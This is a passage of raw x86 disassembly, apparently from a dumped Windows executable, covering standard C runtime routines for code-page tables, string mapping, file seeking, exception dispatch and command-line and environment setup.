sub_413455+10Ej cmp [ebp+var_24], edi jz short loc_4135E3 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_4180CC ; MultiByteToWideChar test eax, eax jz short loc_4135E3 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41815C ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_4135E3 test byte ptr [ebp+arg_4+1], 4 jz short loc_4135F7 cmp [ebp+arg_14], edi jz loc_413672 cmp esi, [ebp+arg_14] jg short loc_4135E3 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41815C ; LCMapStringW test eax, eax jnz loc_413672 loc_4135E3: ; CODE XREF: sub_413455+66j ; sub_413455+B5j ... xor eax, eax loc_4135E5: ; CODE XREF: sub_413455+ADj ; sub_413455+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4135F7: ; CODE XREF: sub_413455+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40CCA0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41362B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41362B: ; CODE XREF: sub_413455+1C2j cmp ebx, edi jz short loc_4135E3 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41815C ; LCMapStringW test eax, eax jz short loc_4135E3 cmp [ebp+arg_14], edi push edi push edi jnz short loc_413652 push edi push edi jmp short loc_413658 ; --------------------------------------------------------------------------- loc_413652: ; CODE XREF: sub_413455+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_413658: ; CODE XREF: sub_413455+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4180C8 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_4135E3 loc_413672: ; CODE XREF: sub_413455+165j ; sub_413455+188j mov eax, esi jmp loc_4135E5 sub_413455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413679 proc near ; CODE XREF: sub_413A3D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_413812 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4831E4 mov [ebp+arg_0], esi jz loc_413806 xor ebx, ebx cmp esi, ebx jz loc_4137FC xor edx, edx mov eax, offset dword_422180 loc_4136AD: ; CODE XREF: sub_413679+41j cmp [eax], esi jz short loc_413723 add eax, 30h inc edx cmp eax, offset dword_422270 jl short loc_4136AD lea eax, [ebp+var_18] push eax push esi call dword_418160 ; GetCPInfo cmp eax, 1 jnz loc_4137F4 push 40h xor eax, eax pop ecx mov edi, offset byte_483300 cmp [ebp+var_18], 1 mov dword_4831E4, esi rep stosd stosb mov dword_483404, ebx jbe loc_4137E2 cmp [ebp+var_12], 0 jz loc_4137B8 lea ecx, [ebp+var_11] loc_413700: ; CODE XREF: sub_413679+139j mov dl, [ecx] test dl, dl jz loc_4137B8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_413711: ; CODE XREF: sub_413679+A8j cmp eax, edx ja loc_4137AC or byte_483301[eax], 4 inc eax jmp short loc_413711 ; --------------------------------------------------------------------------- loc_413723: ; CODE XREF: sub_413679+36j push 40h xor eax, eax pop ecx mov edi, offset byte_483300 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_422190[esi] loc_41373F: ; CODE XREF: sub_413679+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_413772 loc_413746: ; CODE XREF: sub_413679+F7j mov dl, [ecx+1] test dl, dl jz short loc_413772 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41376B mov edx, [ebp+var_4] mov dl, byte_422178[edx] loc_413760: ; CODE XREF: sub_413679+F0j or byte_483301[eax], dl inc eax cmp eax, edi jbe short loc_413760 loc_41376B: ; CODE XREF: sub_413679+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_413746 loc_413772: ; CODE XREF: sub_413679+CBj ; sub_413679+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41373F mov eax, [ebp+arg_0] mov dword_4831FC, 1 push eax mov dword_4831E4, eax call sub_41385C lea esi, dword_422184[esi] mov edi, offset dword_4831F0 movsd movsd pop ecx mov dword_483404, eax movsd jmp short loc_413801 ; --------------------------------------------------------------------------- loc_4137AC: ; CODE XREF: sub_413679+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_413700 loc_4137B8: ; CODE XREF: sub_413679+7Ej ; sub_413679+8Bj push 1 pop eax loc_4137BB: ; CODE XREF: sub_413679+14Fj or byte_483301[eax], 8 inc eax cmp eax, 0FFh jb short loc_4137BB push esi call sub_41385C pop ecx mov dword_483404, eax mov dword_4831FC, 1 jmp short loc_4137E8 ; --------------------------------------------------------------------------- loc_4137E2: ; CODE XREF: sub_413679+74j mov dword_4831FC, ebx loc_4137E8: ; CODE XREF: sub_413679+167j xor eax, eax mov edi, offset dword_4831F0 stosd stosd stosd jmp short loc_413801 ; --------------------------------------------------------------------------- loc_4137F4: ; CODE XREF: sub_413679+51j cmp dword_481E64, ebx jz short loc_41380A loc_4137FC: ; CODE XREF: sub_413679+27j call sub_41388F loc_413801: ; CODE XREF: sub_413679+131j ; sub_413679+179j call sub_4138B8 loc_413806: ; CODE XREF: sub_413679+1Dj xor eax, eax jmp short loc_41380D ; --------------------------------------------------------------------------- loc_41380A: ; CODE XREF: sub_413679+181j or eax, 0FFFFFFFFh loc_41380D: ; CODE XREF: sub_413679+18Fj pop edi pop esi pop ebx leave retn sub_413679 endp ; =============== S U B R O U T I N E ======================================= sub_413812 proc near ; CODE XREF: sub_413679+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_481E64, 0 cmp eax, 0FFFFFFFEh jnz short loc_413832 mov dword_481E64, 1 jmp dword_418168 ; --------------------------------------------------------------------------- loc_413832: ; CODE XREF: sub_413812+Ej cmp eax, 0FFFFFFFDh jnz short loc_413847 mov dword_481E64, 1 jmp dword_418164 ; --------------------------------------------------------------------------- loc_413847: ; CODE XREF: sub_413812+23j cmp eax, 0FFFFFFFCh jnz short locret_41385B mov eax, dword_481E5C mov dword_481E64, 1 locret_41385B: ; CODE XREF: sub_413812+38j retn sub_413812 endp ; =============== S U B R O U T I N E ======================================= sub_41385C proc near ; CODE XREF: sub_413679+118p ; sub_413679+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_413889 sub eax, 4 jz short loc_413883 sub eax, 0Dh jz short loc_41387D dec eax jz short loc_413877 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413877: ; CODE XREF: sub_41385C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41387D: ; CODE XREF: sub_41385C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_413883: ; CODE XREF: sub_41385C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_413889: ; CODE XREF: sub_41385C+9j mov eax, 411h retn sub_41385C endp ; =============== S U B R O U T I N E ======================================= sub_41388F proc near ; CODE XREF: sub_413679:loc_4137FCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_483300 rep stosd stosb xor eax, eax mov edi, offset dword_4831F0 mov dword_4831E4, eax mov dword_4831FC, eax mov dword_483404, eax stosd stosd stosd pop edi retn sub_41388F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138B8 proc near ; CODE XREF: sub_413679:loc_413801p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4831E4 call dword_418160 ; GetCPInfo cmp eax, 1 jnz loc_4139F1 xor eax, eax mov esi, 100h loc_4138E2: ; CODE XREF: sub_4138B8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4138E2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_413933 push ebx push edi lea edx, [ebp+var_D] loc_413901: ; CODE XREF: sub_4138B8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_413928 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_413928: ; CODE XREF: sub_4138B8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_413901 pop edi pop ebx loc_413933: ; CODE XREF: sub_4138B8+42j push 0 lea eax, [ebp+var_514] push dword_483404 push dword_4831E4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_415447 push 0 lea eax, [ebp+var_214] push dword_4831E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_483404 call sub_413455 push 0 lea eax, [ebp+var_314] push dword_4831E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_483404 call sub_413455 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4139AE: ; CODE XREF: sub_4138B8+135j mov dx, [ecx] test dl, 1 jz short loc_4139CC or byte_483301[eax], 10h mov dl, [ebp+eax+var_214] loc_4139C4: ; CODE XREF: sub_4138B8+127j mov byte_483200[eax], dl jmp short loc_4139E8 ; --------------------------------------------------------------------------- loc_4139CC: ; CODE XREF: sub_4138B8+FCj test dl, 2 jz short loc_4139E1 or byte_483301[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4139C4 ; --------------------------------------------------------------------------- loc_4139E1: ; CODE XREF: sub_4138B8+117j and byte_483200[eax], 0 loc_4139E8: ; CODE XREF: sub_4138B8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4139AE jmp short loc_413A3A ; --------------------------------------------------------------------------- loc_4139F1: ; CODE XREF: sub_4138B8+1Dj xor eax, eax mov esi, 100h loc_4139F8: ; CODE XREF: sub_4138B8+180j cmp eax, 41h jb short loc_413A16 cmp eax, 5Ah ja short loc_413A16 or byte_483301[eax], 10h mov cl, al add cl, 20h loc_413A0E: ; CODE XREF: sub_4138B8+174j mov byte_483200[eax], cl jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_413A16: ; CODE XREF: sub_4138B8+143j ; sub_4138B8+148j cmp eax, 61h jb short loc_413A2E cmp eax, 7Ah ja short loc_413A2E or byte_483301[eax], 20h mov cl, al sub cl, 20h jmp short loc_413A0E ; --------------------------------------------------------------------------- loc_413A2E: ; CODE XREF: sub_4138B8+161j ; sub_4138B8+166j and byte_483200[eax], 0 loc_413A35: ; CODE XREF: sub_4138B8+15Cj inc eax cmp eax, esi jb short loc_4139F8 loc_413A3A: ; CODE XREF: sub_4138B8+137j pop esi leave retn sub_4138B8 endp ; =============== S U B R O U T I N E ======================================= sub_413A3D proc near ; CODE XREF: sub_413F23+9p ; sub_413F7B+Dp ... cmp dword_483434, 0 jnz short locret_413A58 push 0FFFFFFFDh call sub_413679 pop ecx mov dword_483434, 1 locret_413A58: ; CODE XREF: sub_413A3D+7j retn sub_413A3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A59 proc near ; CODE XREF: sub_40E887+2Bp ; sub_40E887+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4831FC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_413A7D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_40C720 add esp, 0Ch jmp short loc_413AE0 ; --------------------------------------------------------------------------- loc_413A7D: ; CODE XREF: sub_413A59+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_413AC2 mov ecx, [ebp+arg_4] loc_413A88: ; CODE XREF: sub_413A59+5Bj mov al, [ecx] dec edx movzx esi, al test byte_483301[esi], 4 mov [edi], al jz short loc_413AAC inc edi inc ecx test edx, edx jz short loc_413AB8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_413ABE jmp short loc_413AB2 ; --------------------------------------------------------------------------- loc_413AAC: ; CODE XREF: sub_413A59+3Ej inc edi inc ecx test al, al jz short loc_413AC2 loc_413AB2: ; CODE XREF: sub_413A59+51j test edx, edx jnz short loc_413A88 jmp short loc_413AC2 ; --------------------------------------------------------------------------- loc_413AB8: ; CODE XREF: sub_413A59+44j and byte ptr [edi-1], 0 jmp short loc_413AC2 ; --------------------------------------------------------------------------- loc_413ABE: ; CODE XREF: sub_413A59+4Fj and byte ptr [edi-2], 0 loc_413AC2: ; CODE XREF: sub_413A59+2Aj ; sub_413A59+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_413ADD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_413ADD: ; CODE XREF: sub_413A59+6Fj mov eax, [ebp+arg_0] loc_413AE0: ; CODE XREF: sub_413A59+22j pop edi pop ebp retn sub_413A59 endp ; =============== S U B R O U T I N E ======================================= sub_413AE3 proc near ; CODE XREF: sub_40EA81+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_4149BD test eax, eax pop ecx jz short loc_413B6C cmp esi, offset dword_4223B0 jnz short loc_413B01 xor eax, eax jmp short loc_413B0C ; --------------------------------------------------------------------------- loc_413B01: ; CODE XREF: sub_413AE3+18j cmp esi, offset dword_4223D0 jnz short loc_413B6C push 1 pop eax loc_413B0C: ; CODE XREF: sub_413AE3+1Cj inc dword_481F80 test word ptr [esi+0Ch], 10Ch jnz short loc_413B6C cmp dword_481E68[eax*4], 0 push ebx push edi lea edi, ds:481E68h[eax*4] mov ebx, 1000h jnz short loc_413B52 push ebx call sub_40CCCF test eax, eax pop ecx mov [edi], eax jnz short loc_413B52 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_413B5F ; --------------------------------------------------------------------------- loc_413B52: ; CODE XREF: sub_413AE3+4Dj ; sub_413AE3+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_413B5F: ; CODE XREF: sub_413AE3+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_413B6C: ; CODE XREF: sub_413AE3+10j ; sub_413AE3+24j ... xor eax, eax pop esi retn sub_413AE3 endp ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_40EA81+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_413B9A mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_413BAB push esi call sub_412CD7 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_413B9A: ; CODE XREF: sub_413B70+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_413BAB push eax call sub_412CD7 pop ecx loc_413BAB: ; CODE XREF: sub_413B70+10j ; sub_413B70+32j pop esi retn sub_413B70 endp ; =============== S U B R O U T I N E ======================================= sub_413BAD proc near ; CODE XREF: sub_40EAF8+67p ; sub_40ECC3+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4831E0 push esi push edi jnb short loc_413C2F mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4830E0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_413C2F push eax call sub_415716 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_413BF1 mov dword_481DBC, 9 jmp short loc_413C40 ; --------------------------------------------------------------------------- loc_413BF1: ; CODE XREF: sub_413BAD+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_41816C ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_413C11 call dword_418044 ; RtlGetLastWin32Error jmp short loc_413C13 ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_413BAD+5Aj xor eax, eax loc_413C13: ; CODE XREF: sub_413BAD+62j test eax, eax jz short loc_413C20 push eax call sub_413260 pop ecx jmp short loc_413C40 ; --------------------------------------------------------------------------- loc_413C20: ; CODE XREF: sub_413BAD+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_413C43 ; --------------------------------------------------------------------------- loc_413C2F: ; CODE XREF: sub_413BAD+Dj ; sub_413BAD+2Aj and dword_481DC0, 0 mov dword_481DBC, 9 loc_413C40: ; CODE XREF: sub_413BAD+42j ; sub_413BAD+71j or eax, 0FFFFFFFFh loc_413C43: ; CODE XREF: sub_413BAD+80j pop edi pop esi pop ebx retn sub_413BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C47 proc near ; CODE XREF: sub_40EAF8+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_413C63 mov [edi+4], ebx loc_413C63: ; CODE XREF: sub_413C47+17j push 1 push ebx push esi call sub_413BAD add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_413CD1 mov edx, [edi+0Ch] test dx, 108h jnz short loc_413C88 sub eax, [edi+4] jmp loc_413D9A ; --------------------------------------------------------------------------- loc_413C88: ; CODE XREF: sub_413C47+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_413CC2 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4830E0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_413CD9 mov edx, ecx loc_413CB3: ; CODE XREF: sub_413C47+79j cmp edx, eax jnb short loc_413CD9 cmp byte ptr [edx], 0Ah jnz short loc_413CBF inc [ebp+var_8] loc_413CBF: ; CODE XREF: sub_413C47+73j inc edx jmp short loc_413CB3 ; --------------------------------------------------------------------------- loc_413CC2: ; CODE XREF: sub_413C47+50j test dl, 80h jnz short loc_413CD9 mov dword_481DBC, 16h loc_413CD1: ; CODE XREF: sub_413C47+2Dj or eax, 0FFFFFFFFh jmp loc_413D9A ; --------------------------------------------------------------------------- loc_413CD9: ; CODE XREF: sub_413C47+68j ; sub_413C47+6Ej ... cmp [ebp+var_4], 0 jnz short loc_413CE7 mov eax, [ebp+var_8] jmp loc_413D9A ; --------------------------------------------------------------------------- loc_413CE7: ; CODE XREF: sub_413C47+96j test byte ptr [edi+0Ch], 1 jz loc_413D92 mov edx, [edi+4] test edx, edx jnz short loc_413D00 and [ebp+var_8], edx jmp loc_413D92 ; --------------------------------------------------------------------------- loc_413D00: ; CODE XREF: sub_413C47+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4830E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_413D8C push 2 push 0 push [ebp+var_C] call sub_413BAD add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_413D53 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_413D3E: ; CODE XREF: sub_413C47+104j cmp eax, ecx jnb short loc_413D4D cmp byte ptr [eax], 0Ah jnz short loc_413D4A inc [ebp+arg_0] loc_413D4A: ; CODE XREF: sub_413C47+FEj inc eax jmp short loc_413D3E ; --------------------------------------------------------------------------- loc_413D4D: ; CODE XREF: sub_413C47+F9j test byte ptr [edi+0Dh], 20h jmp short loc_413D87 ; --------------------------------------------------------------------------- loc_413D53: ; CODE XREF: sub_413C47+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_413BAD mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_413D7A mov ecx, [edi+0Ch] test cl, 8 jz short loc_413D7A test ch, 4 jz short loc_413D7D loc_413D7A: ; CODE XREF: sub_413C47+124j ; sub_413C47+12Cj mov eax, [edi+18h] loc_413D7D: ; CODE XREF: sub_413C47+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_413D87: ; CODE XREF: sub_413C47+10Aj jz short loc_413D8C inc [ebp+arg_0] loc_413D8C: ; CODE XREF: sub_413C47+D9j ; sub_413C47:loc_413D87j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_413D92: ; CODE XREF: sub_413C47+A4j ; sub_413C47+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_413D9A: ; CODE XREF: sub_413C47+3Cj ; sub_413C47+8Dj ... pop edi pop esi pop ebx leave retn sub_413C47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D9F proc near ; CODE XREF: sub_40EB84+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_413EE0 test eax, eax pop ecx jz loc_413ED4 mov ebx, [eax+8] test ebx, ebx jz loc_413ED4 cmp ebx, 5 jnz short loc_413DD0 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_413EDD ; --------------------------------------------------------------------------- loc_413DD0: ; CODE XREF: sub_413D9F+23j cmp ebx, 1 jz loc_413ECF mov ecx, dword_481E70 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_481E70, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_413EBF mov ecx, dword_4222E8 mov edx, dword_4222EC add edx, ecx push esi cmp ecx, edx jge short loc_413E1F lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:422278h[esi*4] loc_413E16: ; CODE XREF: sub_413D9F+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_413E16 loc_413E1F: ; CODE XREF: sub_413D9F+69j mov eax, [eax] mov esi, dword_4222F4 cmp eax, 0C000008Eh jnz short loc_413E3A mov dword_4222F4, 83h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E3A: ; CODE XREF: sub_413D9F+8Dj cmp eax, 0C0000090h jnz short loc_413E4D mov dword_4222F4, 81h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E4D: ; CODE XREF: sub_413D9F+A0j cmp eax, 0C0000091h jnz short loc_413E60 mov dword_4222F4, 84h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E60: ; CODE XREF: sub_413D9F+B3j cmp eax, 0C0000093h jnz short loc_413E73 mov dword_4222F4, 85h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E73: ; CODE XREF: sub_413D9F+C6j cmp eax, 0C000008Dh jnz short loc_413E86 mov dword_4222F4, 82h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E86: ; CODE XREF: sub_413D9F+D9j cmp eax, 0C000008Fh jnz short loc_413E99 mov dword_4222F4, 86h jmp short loc_413EAA ; --------------------------------------------------------------------------- loc_413E99: ; CODE XREF: sub_413D9F+ECj cmp eax, 0C0000092h jnz short loc_413EAA mov dword_4222F4, 8Ah loc_413EAA: ; CODE XREF: sub_413D9F+99j ; sub_413D9F+ACj ... push dword_4222F4 push 8 call ebx pop ecx mov dword_4222F4, esi pop ecx pop esi jmp short loc_413EC7 ; --------------------------------------------------------------------------- loc_413EBF: ; CODE XREF: sub_413D9F+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_413EC7: ; CODE XREF: sub_413D9F+11Ej mov eax, [ebp+arg_0] mov dword_481E70, eax loc_413ECF: ; CODE XREF: sub_413D9F+34j or eax, 0FFFFFFFFh jmp short loc_413EDD ; --------------------------------------------------------------------------- loc_413ED4: ; CODE XREF: sub_413D9F+Fj ; sub_413D9F+1Aj push [ebp+arg_4] call dword_418170 ; UnhandledExceptionFilter loc_413EDD: ; CODE XREF: sub_413D9F+2Cj ; sub_413D9F+133j pop ebx pop ebp retn sub_413D9F endp ; =============== S U B R O U T I N E ======================================= sub_413EE0 proc near ; CODE XREF: sub_413D9F+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4222F0 cmp dword_422270, edx push esi mov eax, offset dword_422270 jz short loc_413F0D lea esi, [ecx+ecx*2] lea esi, ds:422270h[esi*4] loc_413F02: ; CODE XREF: sub_413EE0+2Bj add eax, 0Ch cmp eax, esi jnb short loc_413F0D cmp [eax], edx jnz short loc_413F02 loc_413F0D: ; CODE XREF: sub_413EE0+16j ; sub_413EE0+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:422270h[ecx*4] cmp eax, ecx jnb short loc_413F20 cmp [eax], edx jz short locret_413F22 loc_413F20: ; CODE XREF: sub_413EE0+3Aj xor eax, eax locret_413F22: ; CODE XREF: sub_413EE0+3Ej retn sub_413EE0 endp ; =============== S U B R O U T I N E ======================================= sub_413F23 proc near ; CODE XREF: sub_40EB84+A5p cmp dword_483434, 0 jnz short loc_413F31 call sub_413A3D loc_413F31: ; CODE XREF: sub_413F23+7j push esi mov esi, dword_48342C mov al, [esi] cmp al, 22h jnz short loc_413F63 loc_413F3E: ; CODE XREF: sub_413F23+33j ; sub_413F23+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_413F5B test al, al jz short loc_413F5B movzx eax, al push eax call sub_415FC2 test eax, eax pop ecx jz short loc_413F3E inc esi jmp short loc_413F3E ; --------------------------------------------------------------------------- loc_413F5B: ; CODE XREF: sub_413F23+21j ; sub_413F23+25j cmp byte ptr [esi], 22h jnz short loc_413F6D loc_413F60: ; CODE XREF: sub_413F23+52j inc esi jmp short loc_413F6D ; --------------------------------------------------------------------------- loc_413F63: ; CODE XREF: sub_413F23+19j cmp al, 20h jbe short loc_413F6D loc_413F67: ; CODE XREF: sub_413F23+48j inc esi cmp byte ptr [esi], 20h ja short loc_413F67 loc_413F6D: ; CODE XREF: sub_413F23+3Bj ; sub_413F23+3Ej ... mov al, [esi] test al, al jz short loc_413F77 cmp al, 20h jbe short loc_413F60 loc_413F77: ; CODE XREF: sub_413F23+4Ej mov eax, esi pop esi retn sub_413F23 endp ; =============== S U B R O U T I N E ======================================= sub_413F7B proc near ; CODE XREF: sub_40EB84+8Ep push ebx xor ebx, ebx cmp dword_483434, ebx push esi push edi jnz short loc_413F8D call sub_413A3D loc_413F8D: ; CODE XREF: sub_413F7B+Bj mov esi, dword_481E08 xor edi, edi loc_413F95: ; CODE XREF: sub_413F7B+30j mov al, [esi] cmp al, bl jz short loc_413FAD cmp al, 3Dh jz short loc_413FA0 inc edi loc_413FA0: ; CODE XREF: sub_413F7B+22j push esi call sub_40CBC0 pop ecx lea esi, [esi+eax+1] jmp short loc_413F95 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413F7B+1Ej lea eax, ds:4[edi*4] push eax call sub_40CCCF mov esi, eax pop ecx cmp esi, ebx mov dword_481DE4, esi jnz short loc_413FCF push 9 call sub_40EC7A pop ecx loc_413FCF: ; CODE XREF: sub_413F7B+4Aj mov edi, dword_481E08 cmp [edi], bl jz short loc_414012 push ebp loc_413FDA: ; CODE XREF: sub_413F7B+94j push edi call sub_40CBC0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41400B push ebp call sub_40CCCF cmp eax, ebx pop ecx mov [esi], eax jnz short loc_413FFE push 9 call sub_40EC7A pop ecx loc_413FFE: ; CODE XREF: sub_413F7B+79j push edi push dword ptr [esi] call sub_40E3C0 pop ecx add esi, 4 pop ecx loc_41400B: ; CODE XREF: sub_413F7B+6Cj add edi, ebp cmp [edi], bl jnz short loc_413FDA pop ebp loc_414012: ; CODE XREF: sub_413F7B+5Cj push dword_481E08 call sub_40CD81 pop ecx mov dword_481E08, ebx mov [esi], ebx pop edi pop esi mov dword_483430, 1 pop ebx retn sub_413F7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414034 proc near ; CODE XREF: sub_40EB84+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_483434, ebx push esi push edi jnz short loc_41404B call sub_413A3D loc_41404B: ; CODE XREF: sub_414034+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_41804C ; GetModuleFileNameA mov eax, dword_48342C mov off_481DF4, esi mov edi, esi cmp [eax], bl jz short loc_414070 mov edi, eax loc_414070: ; CODE XREF: sub_414034+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_4140CD mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_40CCCF mov esi, eax add esp, 18h cmp esi, ebx 